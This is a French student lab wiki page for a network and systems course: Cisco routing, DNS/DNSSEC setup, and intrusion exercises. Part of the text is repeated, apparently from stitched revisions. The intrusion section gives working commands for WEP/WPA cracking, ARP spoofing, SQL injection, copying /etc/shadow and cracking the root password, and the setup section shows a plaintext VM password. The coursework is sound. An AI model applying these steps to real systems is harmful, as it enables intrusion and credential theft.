summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (30/11/2020)==
(En collaboration avec le groupe 14)

===ISR4331===
On commcence par connecter l'ISR au boitier SDSL dans le local technique SR52. Pour cela, on repère le port de connexion:
SR52# int Gi0/37
SR52# switchport mode access
SR52# switchport access vlan 531

Puis on configure le nouveau VLAN 531 sur l'ISR (!Attention! sur cet équipement, l'équivalent VLAN est BDI)

ISR4331# int BDI531
ISR4331# ip address 192.168.222.26 255.255.255.248
ISR4331# no shut
ISR4331# exit
ISR4331# int GigabitEthernet0/0/1
ISR4331# service instance 531 ethernet
ISR4331# encapsulation untagged
ISR4331# bridge-domain 531
ISR4331# exit

On configure également le BDI 333 avec VRRP pour que les VM accède à ce router. Cet équipement aura une priorité VRRP inférieure aux deux autres routeurs car il est destiné a tourner qu'en cas de problème de connexion par le routeur de l'école.

ISR4331# int BDI 333
ISR4331# ip address 100.64.0.3 255.255.255.0
ISR4331# vrrp 33 ip 100.64.0.254
ISR4331# vrrp 33 preempt
ISR4331# vrrp 33 priority 90
ISR4331# exit

On y ajoute les ports reliés aux routeurs

ISR4331# int Gi0/0/0
ISR4331# service instance 333 ethernet
ISR4331# encapsulation dot1q 333
ISR4331# rewrite ingress tag pop 1 symmetric
ISR4331# bridge-domain 333
ISR4331# exit

ISR4331# int Gi0/0/2
ISR4331# service instance 333 ethernet
ISR4331# encapsulation dot1q 333
ISR4331# rewrite ingress tag pop 1 symmetric
ISR4331# bridge-domain 333
ISR4331# exit

===SLA===
A ce stade, nos équipement sont connecté mais on ne sait pas quand l'ISR4331 doit prendre la main.
On utilise le mécanisme SLA pour décrémenter la priorité des routeurs 1 et lorsqu'un incident sur le routeur RENATER (192.168.44.1) est détecté.
Sur le premier routeur:

6509-E# ip sla 1
6509-E# icmp-echo 192.168.44.1
6509-E# frequency 300
6509-E# exit
6509-E# ip sla schedule 1 life forever start-time now
6509-E# track 1 ip sla 1
6509-E# exit
6509-E# int vlan 333
6509-E# vrrp 33 track 1 decrement 50
6509-E# exit

Penser a passer le port relié à l'ISR en mode trunk sans quoi on ne poura pas passer d'un VLAN à l'autre

6509-E# int Te6/5
6509-E# switchport trunk encapsulation dot1q
6509-E# switchport mode trunk
6509-E# exit

On fait la même chose sur le deuxième routeur:

C9200# ip sla 1
C9200# icmp-echo 192.168.44.1
C9200# frequency 300
C9200# exit
C9200# ip sla schedule 1 life forever start-time now
C9200# track 1 ip sla 1
C9200# exit
C9200# int vlan 333
C9200# vrrp 33 address-family ipv4
C9200# track 1 decrement 50
C9200# exit

C9200# int Gi1/0/2
C9200# switchport mode trunk
C9200# exit
C9200# exit

A présent l'ISR peut prendre le relais si la connexion à internet par le routeur de l'école ne fonctionne plus.
Il ne reste plus qu'a faire la Mascarade sur l'ISR (IPs VMS -> 1 IP publique du SDLS = NAT dynamique sans pool = Mascarade)

===Mascarade===

ISR4331# int loopback 0
ISR4331# ip address 213.215.6.102 255.255.255.255
ISR4331# exit
ISR4331# int bdi 531
ISR4331# ip nat outside
ISR4331# exit
ISR4331# int bdi 333
ISR4331# ip nat inside
ISR4331# exit
ISR4331# access-list 33 permit 193.48.57.176 0.0.0.15
ISR4331# ip nat inside source list 33 int loopback 0 overload
ISR4331# exit
ISR4331# ip route 193.48.57.176 255.255.255.255 100.64.0.16

On utilise bien les adresses routés des VM (193.57.48...) et non les adresses privées (100.64....) sinon on serait incapable de revenir vers les VM car le routeur ne connait pas la route vers ces dernières.

===Tests===

On test dans un premier temps la connexion internet. Sur nos VM on remplace la gateway avec l'IP de l'ISR: 100.64.0.3.

Pour tester la prise de relai de l'ISR, on débranche la connexion vers le routeur de l’école des deux routeurs R1 et R2. L'ISR passe bien Master au bout d'un certain temps (<300s).

Il n'est cependant pas possible d’accéder à nos VM depuis cette nouvelle connexion sans que la VM initie la dite connexion. En effet, la mascarade mis en place ne permet pas à l'ISR de router vers l’intérieur, il faudrait utiliser des ports différents pour chaque connexion aux VMs.

==3.9 Interconnexion Internet de secours (IPv6) ()==
Suite au prochain épisode

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;
};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (16/11/2020)==

La documentation de ce point est disponible ici https://archives.plil.fr/vdubois-/PRA.git

http://www.trompettedelamort.site/toto.html

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(
8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

==DNS en IPV6==

Dans le fichier db.trompettedelamort.site il suffit de rajouter deux entrées comme nous l'avons fait en IPV4
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b
www IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b

Il faut penser à augmenter le Serial
Ensuite il suffit de ressigner les zones comme précedemment:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk

Puis relancer le serveur bind.

Avec la commande:
host -t soa trompettedelamort.site ns6.gandi.net
On peut vérifier que le changement a bien été pris en compte.

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données (11/30/2020)===

La documentation de ce point est disponible ici https://archives.plil.fr/vdubois-/PRA.git

===6.2 Chiffrement de données (01/12/2020)===

La documentation de ce point est disponible ici https://archives.plil.fr/vdubois-/PRA.git

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-30T13:53:35Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
